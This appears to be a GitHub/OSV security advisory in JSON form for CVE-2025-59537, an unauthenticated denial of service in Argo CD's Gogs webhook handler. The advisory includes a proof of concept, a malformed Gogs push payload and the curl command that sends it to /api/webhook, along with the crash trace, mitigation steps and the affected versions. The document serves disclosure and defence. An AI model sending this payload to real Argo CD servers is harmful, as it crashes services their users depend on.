CVE-2025-59537: Github.com/argoproj/argo cd Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wp4p-9pxh-cgx2",
  "modified" : "2025-10-23T20:22:30Z",
  "published" : "2025-09-30T18:28:38Z",
  "aliases" : [ "CVE-2025-59537" ],
  "summary" : "argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload",
  "details" : "### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.gogs.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field `commits[].repo` is not set or is null.\n\n### Details\n\nUsers can access `/api/webhook` without authentication, and when accessing this endpoint, the `Handler` function parses webhook type messages according to the `header (e.g. X-Gogs-Event)` and `body` parameters provided by the user. The `Parse` function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.\n\nThe `affectedRevisionInfo` function parses data according to webhook event types(e.g. `gogsclient.PushPayload`). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.\n\n```go\nfunc affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {\n    switch payload := payloadIf.(type) {\n        // ...\n        case gogsclient.PushPayload:\n            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug\n            // ...\n        }\n    return webURLs, revision, change, touchedHead, changedFiles\n}\n\n```\n### PoC\n\npayload-gogs.json\n\n```json\n{\n  \"ref\": \"refs/heads/master\",\n  \"before\": \"0000000000000000000000000000000000000000\",\n  \"after\": \"0a05129851238652bf806a400af89fa974ade739\",\n  \"commits\": [{}]\n}\n```\n\n```shell\ncurl -k -v https://argocd.example.com/api/webhook \\\n  -H 'X-Gogs-Event: push' \\\n  -H 'Content-Type: application/json' \\\n  --data-binary @/tmp/payload-gogs.json\n```\n\nAn attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to `/api/webhook`.\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]\n\ngoroutine 302 [running]:\ngithub.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594\ngithub.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38\ngithub.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60\ncreated by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28\n```\n\n### Mitigation\n\nIf you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.gogs.secret: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credit\n\nSangjun Song (s0ngsari) at Theori (theori.io)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.0"
      }, {
        "last_affected" : "1.8.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-rc1"
      }, {
        "fixed" : "2.14.20"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.19"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0-rc1"
      }, {
        "fixed" : "3.2.0-rc2"
      } ]
    } ],
    "versions" : [ "3.2.0-rc1" ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.1.0-rc1"
      }, {
        "fixed" : "3.1.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.7"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0-rc1"
      }, {
        "fixed" : "3.0.19"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.18"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/security/advisories/GHSA-wp4p-9pxh-cgx2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59537"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/commit/761fc27068d2d4cd24e1f784eb2a9033b5ee7f43"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-cd"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-39896"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-30T18:28:38Z",
    "nvd_published_at" : "2025-10-01T21:16:43Z"
  }
}